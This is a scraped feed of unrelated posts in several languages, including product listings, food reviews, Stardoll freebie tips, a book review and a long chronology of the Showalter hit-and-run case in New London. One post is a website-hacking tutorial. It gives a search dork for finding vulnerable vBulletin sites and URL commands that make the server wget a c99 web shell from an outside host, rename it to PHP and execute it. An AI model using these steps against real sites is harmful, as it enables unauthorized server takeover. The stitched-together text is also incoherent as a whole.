  1. Engaging the community is key: Using Hangouts on Air, we were able to pull off a cross-city sing-a-long! Check it out. The video wasn’t flawless, but we successfully transported Broadway beyond the Big Apple.

  2. Global events can help grow engagement and donor base: Putting on an event in different cities is no easy feat. But it's amazingly rewarding to bring like-minded people and groups together to support similar causes. Hangouts and livestream technology made reaching new communities easier to do in one event. And by engaging these communities, we’ve been able to grow a stronger community and ultimately, donor base.

  3. Interactive video adds another dimension of creativity: Using Hangouts allowed us to engage the audience on the other side of the screen, adding a new dimension unique from watching on a passive screen. Our creative team came up with Musical MadLibs, (our new favorite game!), which really shows how we were able to interact with the crowd through video chat.

  4. Google is a gamechanger for nonprofits: YouTube and Google Fiber enabled us to livestream the concert to theatre lovers and supporters in Kansas City and hundreds of people at home that night. This allowed us to increase the viewership of our benefit by 10X more than if we had only shown the concert to the folks at the Greene Space in NYC.

  5. Crowdfunding and donation cards can help you reach your goals: Through crowdfunding using donation cards on YouTube, One Today donations, live fundraising at the concert, and private donations, we raised more than ever before -- an astounding $50,000. This additional funding will hugely impact our ability to provide treatments for victims of domestic violence in tandem with the CVTC.

To see if your nonprofit is eligible to participate in the nonprofit programs, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

If you are a U.S. nonprofit looking to add donation cards to your YouTube videos, learn more here.

Nonprofits aren't endorsed by YouTube or Google


          Comentario en Llega la Ruta del Pincho Medieval por ‘Delicia del juglar’, elegida como mejor tapa medieval del año en Sigüenza | Turismo Siguenza        
[...] de Mingo, taberneros de El Gurugú de la Plazuela de Sigüenza, se han proclamado campeones del pincho medieval seguntino. Su ‘Delicia del Juglar’  fue escogida como la mejor de las ocho tapas historiadas [...]
          Natura Siberica neutraali shampoo herkälle hiuspohjalle 400ml        
Tummarusokki & lakritsi  Tummarusokki on yksi turvallisimmista luonnonyrteistä, se hoitaa hiusta ja päähahkaa. Hellävarainen puhdistava koostumus perustuu kasviperäisiin aminohappoihin, hienovaraisesti pesee hiukset vahingoittamatta niiden luonnollista suojakerrosta, sekä ennaltaehkäisee hiuspohjan kuivumisen.  Shampoo ei ärsytä herkkää tai allergia-altista hiuspohjaa Ei sisällä SLS:ää tai parabeenia. Ei ärsytä hiuspohjaa. Vaahto saadaan luonnon aminohapoista.
          Natura Siberica shampoo hilsettä vastaan herkälle hiuspohjalle 400ml        
Valkohankajäkälä & arktinen maruna Valkohankajäkälällä on antiseptinen vaikutus. Yhdessä arktisen marun kanssa se taistelee hilsettä vastaan, tekee hiukset kevyiksi ja pehmeiksi. Shampoon puhdistava koostumus perustuu aminohappoihin, se pesee hellävaraisesti hiukset vahingoittamatta niiden luonnollista suojakerrosta sekä ennaltaehkäisee hiuspohjan kuivumisen. Shampoo ei ärsytä herkää tai allergia-altista hiuspohjaa. Ei sisällä SLS:ää tai parabeenia. Ei ärsytä hiuspohjaa. Vaahto saadaan luonnon aminohapoista.
          Natura Siberica hoitoaine värjätyille ja vaurioituneille hiuksille 400ml        
Suojaa ja antaa kiiltoaSuojaavien ominaisuuksien ansiosta ruusujuurta pidetään parempana kuin ginseng. Se vahvistaa hiuksia vahingoimatta niitä. Daurian soijaöljy sisältää paljon arvokkaita kasviproteiineja, jotka palauttavat vaurioituneiden hiusten rakenteen.Valkoinen mehiläisvaha antaa hiuksille luonnollista kiiltoa ja pehmeyttä.
          Natura Siberica shampoo värjätyille ja vaurioituneille hiuksille 400ml        
Suojaa ja kiiltoa Ei sisällä SLS:ää tai parabeenia. Ei ärsytä hiuspohjaa. Vaahto saadaan luonnon aminohapoista. Suojaavien ominaisuuksien ansiosta ruusujuurta pidetään parempana kuin ginseng. Se vahvistaa hiuksia vahingoimatta niitä. Daurian soijaöljy sisältää paljon arvokkaita kasviproteiineja, jotka palauttavat vaurioituneiden hiusten rakenteen.Valkoinen mehiläisvaha antaa hiuksille luonnollista kiiltoa ja pehmeyttä.
          Natura Siberica shampoo hauraille ja rasittuneille hiuksille 400ml        
Suojaa ja antaa energiaaEi sisällä SLS:ää tai parabeenia. Ei ärsytä hiuspohjaa. Vaahto saadaan luonnon aminohapoista. Suojaavien ominaisuuksien ansiosta ruusujuurta pidetään parempana kuin ginseng. Se vahvistaa hiuksia vahingoimatta niitä. Kaukoidän palsamiköynnöksessä on paljon aktiivisia ominaisuuksia, jotka antavat hiuksille voimaa ja energiaa, saavat hiukset näyttämään terveen kauniilta. Siperian pellavaöljyä sanotaan kuninkaalliseksi öljyksi, koska se sisältää runsaasti arvokkaita vitamiineja hiuksille.
          Besplatna haljina        
 

Odi na jedan od ovih proxy-a:
usafastproxy.info/ ili uk-proxy.co.uk ili dontfilter.us/ ili bypassthe.net/
Zalijepi ovu adresu:
http://stardoll.com/en/contest
Ulogiraj se na stardoll i to je to ;D 

          Besplatna slika        





 

 Odi na jedan od ovih proxy-a:
dutchproxyserver.com ili dutchproxy.nu ili teleport.to/Netherlands/
Zalijepi ovu adresu:
http://stardoll.com/en/contest
Ulogiraj se na stardoll i to je to :)

          Besplatne cipele        

Za ovo ti ne treba proxy, ulogiraj se na Stardoll i odi u poruke ili klikni na link ispod:
http://www.stardoll.com/hr/user/messages.php?folder=0
Klikni na jaje sa lijeve strane i to je to :)

          Besplatna suknja         

Za ovo ti ne treba proxy, ulogiraj se na Stardoll i odi u starplazu ili klikni na link ispod:
http://www.stardoll.com/hr/starplaza.php
Klikni na zeleno jaje s lijeve strane i odvest će te na Uskršnju kampanju i to je to :)

NAPOMENA:
Kao i ostali "uskršnji darovi" (topić, kapa, suknja i kasnije cipele) ovo je dostupno samo sljedeća 3 dana!!!!

          Besplatna Bunny Hop kapa        
Za ovo ti ne treba proxy, ulogiraj se na Stardoll i klikni na link ispod:
http://www.stardoll.com/en/starDesign.php?brandId=555
Klikni na jaje sa lijeve strane i odvest će te na Uksršnju SD kampanju a kapa će ti biti u apartmanu :)

          Besplatan paun        







 

Za ovo ti ne treba proxy, ulogiraj se na Stardoll i klikni na link ispod:
http://www.stardoll.com/en/contest/view.php?id=4161
Odaberi točne odgovore i priključi se natjecanju :)


          Besplatan Cathy Cassidy poster        
 
Odi na jedan od ovih proxy-a:
 joeproxy.co.uk ili  justproxy.co.uk/ ili quickproxy.co.uk ili proxay.co.uk/
Zalijepi ovu adresu:
http://stardoll.com/en/
Ulogiraj se na Stardoll pa zalijepi ovu adresu:
Otvorit će ti se stranica kluba, kad se učita možeš izaći iz proxy-a :)

          Besplatan Strange Magic "zec"        
 

Odi na jedan od ovih proxy-a:
webproxy.to/ ili uk-proxy.co.uk ili dontfilter.us/ ili bypassthe.net/
Zalijepi ovu adresu:
http://stardoll.com/en/
Ulogiraj se na Stardoll i to je to :D

          PokemanGO? Give your eyes a break with Blue Light Filtering Anti-reflective Coating        

Have you been out looking for your next Pikachu? Are your eyes feeling red, dry and fatigued? If so, stop in for our special Technology Package. In this package, you can get a pair of glasses for 89.95, which includes a special coating that filters out the blue light that radiates off of your smart...

The post PokemanGO? Give your eyes a break with Blue Light Filtering Anti-reflective Coating appeared first on Affordable Eye Care | Optometrist | Chicago Suburbs.


          Hel Platta Zingo 24 x 33cl        

Hel platta - 24 flaskor med den klassiska läsken Zingo! Priset per flaska: 4,95 kronor/styck exklusive pant!

+
-

          Side-Talk: FIX Cafe at Ah Hood Road        
Met up with my friends few weeks ago to take time off from studying. I suggested that we have dinner at FIX cafe. Have been eyeing this place ever since it got its halal certification. Their desserts look so photogenic on photos. However its location is a little out of the way from where we usually hangout. Suggested this place because the others do not have any better suggested, so we went….

We took a bus there and it took us almost an hour to reach but it was worth it. Got seated near the pool. It was not very crowded and the lighting of the cafe was good for photo taking. You have to the counter to order. I went to the counter to order but forget what my friends wanted to buy as soon as I was about to order haha. I bet the cashier thought I was weird. Went back to our table and asked my friends to come with to order haha. They also commented why I went to cashier without bringing my wallet -.- Scumbag brain.

Okay back to the food we ordered. We had Chicken Tikka Naanwich, Turkey Ham and Cheese Naanwich, Fish & Chips, Soy-glazed Chicken Drumlets and Strawberry Pistachio Rose Tart. For drinks we had ice-lemon tea, Iced Mocha and Iced Chocolate. The price came about $51 dollar, if I remembered correctly. And that is very reasonable.

Didn't manage to take lot of the photos of the food because we were all very hungry and could not wait to dig in. Here is my take on each of the item we had.





1) Chicken Tikka Naanwich (S$11)

This main comes with a cup of Nachos. The chicken tikka was nicely spiced and goes well with everything else. The portion of chicken was pretty generous. The only complain I have is that there was  too little cheese on the Nachos.

2) Turkey Ham and Cheese Naanwich (S$11)

Likewise this main comes with a cup of Nachos. I like the combination of everything. The oozing yolk completes the dish. The naan is not too hard and it is buttery. The turkey ham is good too, but felt that the slices were too little. It might look difficult to eat but you can just cut into sections and eat it. The ingredients complements each other well.

3) Fish & Chips (S$11)

The fish is quite plump. The inside is soft and the outside has just enough crust. I can actually taste the slight peppery taste to it. The fries is quite mediocre in my opinion.

4) Soy-glazed Chicken Drumlets ($7)

The skin of the Chicken has a nice crunch to it. However, the soy-glazed is kinda sweet for my liking. Maybe I should have squeezed more of the lemon slice that came with it.

5) Strawberry Pistachio Rose Tart ($6)



I was really to the tart visually. I also like how FIX presents their deserts, it looked quite luxurious. Some of the strawberries are sweet and some were not haha. We shared the dessert and my friend kept getting the sour ones haha. I like the pistachio base, because I like anything that is nutty. Anyway, my sister particularly like the combination of the pistachio base with the strong tasting strawberry jam. The sweetness is just right and it is a pretty light dessert.

Don't be deceived by how the mains look, they are pretty filling. Initially we all said that we are going to order more but we were extremely full and couldn't even finish the chicken. What I like about this cafe is that the prices are reasonable, a lot of halal cafes out there have ridiculously expensive food and they are not even good :/. Overall I will come back again. I really can't wait to taste their other desserts. The owner of FIX cafe is going to open another halal establishment called FIX grill. It is located just beside FIX cafe. Gonna give it a try after my exams. 

          Side-talk: So Pho review at NEX        
I decide that I should occasionally do food review on this blog too after my first food-related post on Swensens' mooncake here. Hope you readers like it :). Yesterday, my sister and I decided to have an impromptu dinner after a long day at school. It has been quite some time since we pamper ourselves with good food since year 4 in university has been quite hectic. So we decide to NEX at Serangoon since it is on the way and it has quite a few halal eateries there.

I arrives at NEX first since NTU is further away than NUS. I had to wait for 30 minutes or so. We settled for So Pho, since my sister is craving for something soupy. There wasn't a queue but we had to wait quite sometime to get a seat. However that place was pretty packed.

We had Pho Bo (Vietnamese Slice Beef Noodle Soup) and Lychee Mint Freeze for drinks. I think Pho Bo is their specialty. I didn't take long for food to come, but it took quite long to the waiters to take our orders. I guess they are short of staff.

I would say that the Beef noodle is pretty good. The noodles are nice and chewy, I really like the texture. The soup is nice too, with a just enough hint of spiciness. The portion is pretty generous. The bowl is big, I thought it would just be because of the soup. But there is generous portion of noodles and beef.


Lychee Mint Freeze was a nice surprise. I taste quite unique I would say. But since it is ice-blended, it doesn't really quench out thirst.

We pack home seafood fried rice and the prawn and lemongrass chicken summer rolls for our parents. My mum really liked the summer rolls. Sorry no photos for that.

Pho Bo - $8.80

Lychee Mint Freeze - $4.50
Do give So Pho a try if you haven't!


          Dejemos que hable el viento        
Dejemos que hable el viento… total, siempre se lleva las palabras. Dejemos que hable, porque yo no tengo nada que agregar a lo nuestro. Dejemos que hable el viento porque con tanto vocabulario robado debe tener mucho que decir, y porque de nosotros ya lo he escuchado todo. Dejemos que hable porque seguramente ha visto […]
          Comment on Episode 206: Play By Post by woodenmango        
Thanks for this! I have been pondering play-by-post for a while and also really want to run an Apocalypse World game. I am going to set something up on Tavern Keeper :D
          Did someone say Pizza?        
After a smashing Shabbos, the campers were complaining that there was no melava malka - after hearing chants of "We want pizza!", we decided to show them what pizza means EGP style. Off we went to Q-Cumber's and we were in for an amazing treat! 














For more pictures, click here

          What is Remote Code Execution? How to Hack Websites        
According to Wikipedia, Remote Code Execution can be defined as “In computer security, arbitrary code execution or remote code execution is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in arbitrary code execution vulnerability to describe a software bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such vulnerability is called an arbitrary code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shell code to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution”

vBulletin RCE Injection

Few websites running vBulletin are vulnerable to Remote Code Execution, by exploiting the vulnerability we can get our PHP backdoor shell uploaded on the website. We’ll use a dork to find the vulnerable website.

Note: Don’t keep yourself restricted when it comes to using dorks, use other search engines too other than Google, like Bing, Yahoo etc. Use of multiple search engines will help you to get more vulnerable websites.

Dork: inurl:faq.php & intext:"Warning: system() [function.system]"

Now, select any website of your choice from th search result, and go to its faq.php page. If the website is vulnerable, you will get the following on the page.


You will get an error similar to Warning: system() [function.system]: Cannot execute a blank command in [path]/faq.php(324) : eval()'d code on line 1

So, firstly upload your PHP shell on any free hosting website or you can use sh3ll.org/c99.txt as it has already got an uploaded .txt shell. (We will be first uploading our shell in .txt form, and later will be changing the extension to .php after the upload process is completed.

Suppose the vulnerable website is http://www.vulnerable.com/faq.php. So in order to upload our shell enter the following in the URL bar:

http://www.vulnerable.com/faq.php?cmd=cd /tmp;wget http://sh3ll.org/c99.txt

To check if we were able to successfully upload our shell, enter the following in the URL bar 
http://www.vulnerable.com/faq.php?cmd=cd /tmp;ls -la c99.txt

Were c99.txt is the name of your uploaded shell. If we were successful in uploading our shell, we see the following text on the page. (Might be a little different in some cases)
-rw-r—r—1 nobody nobody

We know that our shell is successful uploaded on the website, now it’s time to change the file format from .txt to .php in order to execute it on the server.

http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
(You can change check.php to any other name of your choice)

Now, the file format is change. It’s time to execute our shell, so to execute it enter the following in the URL bar
http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
 

Bingo!! We successfully exploited vBulletin Remote Code Execution Vulnerability.


          Hey, cig moochers -- smoking makes a hangover worse        

Dec. 24, 2002 -- At the Russian Vodka Room in midtown Manhattan, bar patrons drink and smoke at the end of the last full year of legal smoking in New York City bars and restaurants.If you only smoke when you're buzzed, you might want to reconsider: Those occasional late-night puffs could intensify your hangover in the morning, according to a new study in the Journal of Studies on Alcohol and Drugs.



                  

'National Retail Federation: As Economy Impacts Halloween, Americans Get Creative' article ZAKA link Wikipedia article about Ovadia Yosef '15 of the most disgusting Halloween candies you can buy' article The Annotated Child: Halloween Hangover

graphic for The Annotated Child: Halloween Hangover

Continue reading "" at...


           Trường THCS - THPT Âu Lạc: Học giỏi hÆ¡n, áp lá»±c ít hÆ¡n         
Hiện nay áp lực thành tích học tập của các em học sinh là gánh nặng của không chỉ các em mà còn là nỗi quan tâm rất lớn của phụ huynh và xã hội.
           Cho con một mùa hè sôi động         
Tất cả phụ huynh chúng ta đều băn khoăn cho con đi đâu, làm gì, học gì, chơi gì cho hết mùa hè trong khi chúng ta vẫn đi làm, ông bà nội ngoại thì ở xa. Chúng ta xót xa khi bắt con học hè nhưng cũng không yên tâm để con ở nhà. Việc chở con đi hết lớp này đến trung tâm nọ cũng tốn không ít thời gian, lại thêm khói bụi giao thông và các rủi ro khác…
          Quelques pas de plus, Agnès Marot        
J'avais beaucoup aimé I.R.L., sortie l'année dernière, et les thèmes qu'abordaient Agnès Marot à l'intérieur. Alors, j'avais très envie de lire ce Quelques pas de plus, surtout que son thème principal n'est que rarement traité que ce soit dans le Youg-Adult ou même en générale.

Quelques pas de plus, Agnès Marot

Editeur : Scrineo
Collection : Ados
Année de parution : 2017
nombre de pages : 329

A lire si :
- Vous voulez des personnages avec des handicaps invisibles
- Vous voulez de la représentation
- Vous voulez un chouette road-trip

A ne pas lire si :
- Vous voulez une histoire ultra compliquée.

Présentation de l'éditeur :

Sora vient d'apprendre qu'elle doit passer le reste de sa vie à béquilles. Son quotidien se résumera désormais aux cours au lycée et aux séances de kiné. Elle pourrait s'y faire si Kay, la grande soeur qui l'a quasiment élevée, tenait le coup ; mais cette dernière, qui a toujours été la plus forte des deux, est en pleine descente aux enfers. Alors Sora décide de prendre les choses en main et d'enfiler la cape de ces superhéros qu'elle aime tant. Objectif : changer sa vie. Son meilleur atout : l'héritage navajo laissé par sa mère. Un ancien pouvoir de guérison qui pourrait les sauver, elle et sa soeur.
Le problème, c'est qu'elles ne sont pas les seules à le chercher… et que leur rival est prêt à les suivre au bout du onde pour parvenir à ses fins.

Mon avis

Comme je le disais, j'avais très envie de lire ce Quelques pas de plus, surtout en sachant qu'il traitera de handicap, plus particulièrement de handicap invisible. C'est un sujet qui est peu voire même pas du tout abordé, du moins dans les livres qui "cartonnent". On le retrouve plus souvent dans des livres plus confidentiels. Or, le sujet mérite amplement d'être traité et quoi de mieux que les ados et jeunes adultes comme cible première ? Il fait parti de la représentation dans la littérature, chose qui les touche peut-être plus que les adultes et qui surtout leur permettra dans une certaine mesure de mettre des mots sur certaines choses.

Quelques pas de plus, c'est donc l'histoire de Sora et de sa soeur Kay. Sora, adolescente d'apparence normale mais qui va devoir vivre avec des béquilles et une cheville en vrac pendant toute sa vie. Un handicap que ne ressemble pas à un handicap, quelque chose que personne ne voit et qui d'ailleurs ne semble pas vraiment être reconnu comme tel par beaucoup de monde. Un handicap avec lequel elle doit apprendre à vivre. Mais alors qu'il semble qu'elle commence petit à petit à "se faire" à la situation, sa sœur ne souffrait pas d'un mal étrange, de crise d'angoisse, et de ce qui semble être un syndrome post-traumatique. Alors, pour la sauver, elle l’amène dans un road-trip en territoire navajo, là où se trouve leur racine, là où elle pourra redevenir elle-même.

Si parfois l'histoire tombe dans le trop simple, trop évident, elle n'en reste pas moins très agréable à lire. Agnès Marot a un style des plus agréables, fluides et ses personnages sont bien foutues. On suit sans le moindre problème Sora et Kay dans leur road-trip ainsi que durant les jours le précédant. Je dois dire que les paysages du grand Canyon et de ses environs donnent envie d'y aller. Les descriptions de l'autrice sont alléchantes à souhait (et je suppose proche de la réalité et surtout de ce qu'elle a pu ressentir en les visitant avec ses béquilles)(oui parce que le handicap de Sora est aussi celui de sa créatrice, mais on va y revenir).

Mais comme je le disais, j'ai surtout apprécié les thèmes du livre. A commencer par le handicap invisible. D'abord celui de Sora. Ici, l'autrice savait de quoi elle parlait, elle en souffre elle-même. Et cela se ressent. Parce que ce que dit Sora là-dessus est réel. Parce que la bonne femme du bus qu'on a tous envie d'égorger existe vraiment. Parce que les situations ne sont pas de l'invention pure et dure. Oui, Sora est handicapée, même si ça peut passer pour une simple entorse. Or elle va vivre avec, subir la douleur, subir les humiliations. Et elle ne va pas se laisser aller. Elle est capable d'être qui elle veut être, de réussir à faire à peu près tout ce qu'elle veut, même sur une jambe. La force de la jeune femme est communicative tant elle prend cela de manière positive la plupart du temps. Il y a aussi celui de Kay. Kay souffre d'un syndrome post-traumatique (nous en découvrirons la cause vers le milieu du roman). Si elle parait normale, si tout le monde voit en elle la jeune femme ordinaire, ce n'est absolument pas le cas. Or c'est aussi un handicap. Mais là où sa sœur se bat pour vivre avec la douleur, Kay finit petit à petit par sombrer, incapable de surmonter ses crises. Elle qui jusque là semblait la plus forte des deux va devoir compter sur sa petite sœur pour s'en sortir.

On retrouve ensuite en filigrane et avec l'origine des deux demoiselles, les thèmes du métissage, des différences de culture et de la suprématie blanche. Elles sont moitié française, moitié navajo. Métisses, elles semblent n'avoir de place nulle part dans les deux cultures. Trop foncé d'un côté, trop blanche de l'autre. Si elles se sentent opprimées, pas à leur place en France, elles se comportent de la même manière que les blancs arrivées en territoire navajos. Au final, sans réellement se penser supérieure, loin de là même, elles en arrivent tout de même à donner cette impression aux amérindiens. Ce genre de situation est assez fréquente dans la vie réelle et il est bon de rappeler aux gens que cultures différentes ne veut pas dire infériorité à une autre. Et c'est plutôt bien fait par ici.

Au final, voilà un livre qui mêle fantastique, légende amérindienne, handicap invisible et différence de culture de manière presque parfaite. On ne tombe pas du tout dans la surenchère, dans le pathos et c'est fort agréable. Pour ne rien gacher, le roman est rempli de référence pop-culture, super héros, série télévisée (charmed est peut-être un peu daté pour le coup, il me semble), roman et j'en passe. Pas tout à fait un coup de coeur mais presque. En tout cas, une bonne grosse mention spéciale pour son thème principal.

          Carla Perez no Arraiá das Viúvas em Simões Filho/BA        

O município de Simões Filho, Região Metropolitana de Salvador, realizou na noite de ontem (2) o “Arraiá das Viúvas”. Entre os convidados Carla Perez, vestida a caráter, animou por mais de duas horas os foliões mirins que super lotaram a Praça da Bíblia.

Os festejos juninos de Simões Filho se encerram na noite deste domingo (3).



          Forty summers ago – July 5, 1977 – grand jury began hearing testimony, piercing, slightly, the ongoing Showalter hit-run cover-up in New London, CT        


Editor’s Note: The Showalter grand jury is noteworthy in that forces for justice – Judge Joseph Dannehy, Special Prosecutor Austin McGuigan and as many as 17 Connecticut State Police detectives – could only knock down some of the walls protecting New London Police, State’s Attorney C. Robert Satti, Asst. State’s Attorney Harold Dean, Judge Angelo Santaniello, former Mayor Harvey Mallove and others who escaped complete discovery. The cover-up continues to this day, highlighted by the suppression and disappearance of the grand jury transcripts.




The foundation for investigative reporting in this case was developed by John Peterson, who was managing editor of The Norwich Bulletin during the grand jury. The grand jury began hearing testimony on July 5, 1977
.








Special Prosecutor McGuigan became Chief State’s Attorney, then was fired after convicting appointees of the governor and many other public officials.

---
Chronology, Grand Juror Report, Follow-up Columns
Via
Law And Justice In Everyday Life, CT Law Tribune


F. Lee Bailey on Law and Justice in Everyday Life and the Showalter case:

This book - which is mainly about public officials, police, judges and lawyers either shaming or shining - is a good read. Many of the stories stand alone, like slices of life. Others will appear early in the book, with follow-up chapters later. The crown jewel, in my view, is his handling of the strange death of Kevin Showalter, who was slammed 50 feet down the road in New London, Connecticut on Christmas Eve 1973 while changing a tire on the traffic side of a parked car. For many years, Andy Thibault dogged a case which public officials seemed determined to let die, despite the presence of a likely suspect. He tells me his mentor, John Peterson, broke the case open and then handed over the torch. Joined by the victim's mother, Lucille, who revealed herself as a determined but delightful woman as the story unfolds, Andy beats up on police, prosecutors, judges and governors until finally there is action. Spurred on by an appointment hastened by Gov. Ella Grasso, Judge Joseph Dannehy conducted one of the most brilliant and thorough investigations I have ever seen. If this book were only about the Showalter case, it would be worth the price.

APPENDIX

THE SHOWALTER CHRONOLOGY – A FOUR YEAR SEARCH FOR JUSTICE


New London, Ct.

1973

December 24

Approximately 11:10 to 11:20 p.m. Kevin B. Showalter is killed. Car leaves scene. Only taillights observed by a neighbor.

There is much confusion. Mr. Showalter had been changing a tire on his companion’s car. His companion Debra Emilyta, was sitting about six feet away from the car on a stone wall.

Ms. Emilyta told police she heard a thud, but did not see the car which struck Mr. Showalter. She said she ran across the road, a well-lit section of Pequot Avenue near Plant Street, before seeing Mr. Showalter’s body.

Mr. Showalter’s body was thrown 22 feet from the believed point of impact, onto a sidewalk near a large tree. The police report prepared that night noted the deceased’s shoes were found 110 feet apart. Part of a leg bone was found 75 feet away.

Michael Buscetto of Mike’s Auto Body gives police body putty, apparently from the car which struck Mr. Showalter. The putty never made it to the police station. Det. Lt. Konstanty T. Bucko later denies its existence.

December 25

Autopsy performed. No trace of alcohol or drugs found. Cause of death listed as lacerated liver and broken neck.

In efforts to console Mrs. Showalter, friends, neighbors, witnesses and officials volunteer information about the accident. She quietly listens for about six weeks, taking it for granted that police are acting on the same information. December 26

New London police begin full-scale search for red car.

1974

February 6

FBI report describes paint particles on Mr. Showalter’s clothing as “racing green” or “forest green” used on 1968 Chrysler products.

February 7

Mrs. Showalter notes she had the impression local police were not actively pursuing the case. She began interviewing those persons who came to her voluntarily and made a written record of her findings.

During the next three weeks, Mrs. Showalter spends much of her time making telephone calls and knocking on doors. She and her youngest son Craig, then 14, visited a number of local auto dealers and garages. She said in most cases they were told police had not made any inquiries of them.

February 28

New London police conduct first interview with Harvey N. Mallove, the downtown merchant and former mayor and city councilor. Mallove stated he drove by Pequot Avenue near Plant Street shortly before 11:15 p.m. on Christmas Eve 1973. Seven people near the accident scene contradict what he said he saw.

April 20

Mrs. Showalter writes to State’s Atty. Edmund J. O’Brien, requesting a one-man grand jury investigation into her son’s death. O’Brien never responds.

On the same day, Atty. Thomas Bishop, representing Mrs. Showalter as the administratix of Mr. Showalter’s estate, asks Atty. Joseph Moukawsher to conduct a coroner’s inquest of the hit-run death.

April 23

Moukawsher agrees to conduct inquest but must confer with New London police before setting date.

June 4

Mrs. Showalter writes to New London Police Chief John J. Crowley, asking for a progress report on the investigation by his force. Crowley neither acknowledges receipt of letter nor responds. Copies of letter were sent to City Manager C. Francis Driscoll, and Abraham Kirshenbaum, then chairman of the City Council’s Public Safety Committee.

June 10

Mrs. Showalter asks Superior Court Judge Angelo Santaniello to call for a grand jury investigation.

June 24

Santaniello notes Moukawsher has agreed to conduct coroner’s inquest. He tells Mrs. Showalter, “If it appears that during any stage of this proceeding that any further intercession is necessary, appropriate action will be taken at that time.”

July 2

Mrs. Showalter writes to City Manager C. Francis Driscoll, asking for a report from his office assessing the police department’s handling of the case. She also asks for a reply to her June 4 letter to Police Chief Crowley.

July 9

Driscoll tells Crowley to prepare a complete report for Mrs. Showalter.

July 10

Bucko completes report on fatal accident.

July 25

Driscoll sends Mrs. Showalter Bucko’s report. The report said Mr. Showalter’s body was in the road, but the ambulance crew which took Mr. Showalter to Lawrence Memorial Hospital said they found him on the sidewalk several feet away. No police officer ever saw the body at the scene since the first officer arrived as the body was being placed in the ambulance.

Bucko says paint particles from a 1968 Plymouth at the U.S. Naval Submarine Base in Groton are similar to those found on Mr. Showalter’s clothing, but the same paint is used on any 1968 Chrysler product.

Bucko also says a piece of metal Mrs. Showalter found near the accident scene is in the detective bureau. When Mrs. Showalter first offered the metal to police, they refused to sign a receipt for it.

August 6

Mrs. Showalter writes to Driscoll regarding Bucko’s report. She lists six pages of comments on allegedly “serious omissions” and “strictly opinion judgments” by Bucko.

Mrs. Showalter also writes to Chief State’s Atty. Joseph Gormley, asking him to send a representative to the coroner’s inquest. She includes copies of correspondence with local officials and Bucko’s report.

August 9

Mrs. Showalter requests a meeting with the City Council’s Public Safety Committee.

August 15

Bucko updates report, at request of city manager Driscoll.

Bucko said of the body location, “the position he (Mr. Showalter) was found in at the scene of the accident, in my opinion, would not help in solving this matter.” Erroneous on the report is the position of the car jack which is shown on the front bumper. The car Mr. Showalter was working on, a Ford Pinto, had to be jacked from the side of the vehicle.

Omitted from the report is the location of a car mat seen to the rear of the car and the spare tire Mr. Showalter never got to put on the car.

August 20

Gormley writes to Mrs. Showalter, telling her the local police investigation “has proceeded smoothly,” and there is “no reason for this office to initiate its own investigation.”

August 28

The Public Safety Committee of the New London City Council meets in closed session for one hour to discuss the hit-run death. Chief Crowley requested the closed session. He said there is evidence that could jeopardize future action.

Mrs. Showalter submitted a 12-page statement for the meeting, but did not attend.

Crowley said the case is not closed and it appears an arrest may be made.

August 31

Mallove submits official statement to New London police.

November, 1974

After being postponed several times, the coroner’s inquest hears testimony from 50 persons. No findings issued.

1975

January 24

A state police detective participating in the federal grand jury probe of the city police department has told one of its patrolmen they identified the driver of the car which struck and killed Mr. Showalter on Christmas Eve, 1973.

“We know who killed the Showalter kid, how come you don’t?” the detective was quoted in The Norwich Bulletin as saying.

March 19-22

The Bulletin, in a four-part series, shows:

- Eyewitnesses and what New London police called “near witnesses” drastically differed in their accounts of the accident.

- Microscopic paint particles found on Mr. Showalter’s clothing on which police based their search may not have been left by the vehicle which struck him.

- Evidence entrusted to police officers at the scene has never been seen since.

- A claim by police that it would cost as much as $1,200 to trace vehicles possible involved in the mishap was declared false by the state Motor Vehicle Department.

The Bulletin, when preparing the series of articles, made repeated efforts to discuss the case with police officials but Lt. K.T. Bucko, who headed the case, on the advice of then Police Chief John Crowley, would not.

April 3 State police conduct an extensive door-to-door inquiry in the Pequot Avenue region. State police have been looking into the case as part of a federal grand jury investigation into alleged corruption within the city force.

July 12

The state of Connecticut offers a $2,000 reward for information leading to the arrest and conviction of the person responsible for the hit-run death of Mr. Showalter. A total of $3,000 is now being offered. Classmates and friends of Mr. Showalter’s have already collected $1,000.

July 21

A community effort by friends and classmates raises the reward to $5,000.

November 8

The transcript of the coroner’s inquest of the hit-run death conducted nearly a year ago has yet to be typed, Coroner Joseph Moukawsher confirms. He said he wants to review the transcript even though he believes his six-day long inquest did not establish any guilt in the case. He said he has not spoken with the court reporter assigned to the case since the early summer.

December 10

Mrs. Showalter writes to State’s Atty. C. Robert Satti, requesting a one-man grand jury investigation. No response.

1976

January 6

Satti refuses to confirm or deny the existence of Mrs. Showalter’s request. Mrs. Showalter has also asked Satti’s office to ascertain the location of recorded tapes made during the coroner’s inquest.

January 9

Mrs. Showalter sends a special delivery letter to Satti asking for a response to the December 10 request. No response.

February 19

In a feature article, also carried statewide by the Associated Press, The Bulletin profiles Mrs. Showalter on page one.

Some public officials regard her as a persistent nuisance, someone to be ignored and sidestepped, but Mrs. Lucille M. Showalter will not breathe easily until they tell her who killed her son, Bulletin reporter Fred Vollono wrote.

“The official comment seems to be there is nothing to it,” Mrs. Showalter said. “It is just the ramblings of a grief-stricken mother. But there are many people who urge me to go on. They say, ‘Lucille, if you stop, then nothing will ever be done.’”

February 23

Mrs. Showalter receives a letter of confession from an inmate at Somers state prison. The inmate said he was plagued by news accounts of the death. Every time he seems to forget the accident, the inmate said, he reads another news story.

April 2

Mrs. Showalter submits a third written request to Satti for a grand-jury probe. No response.

May 6

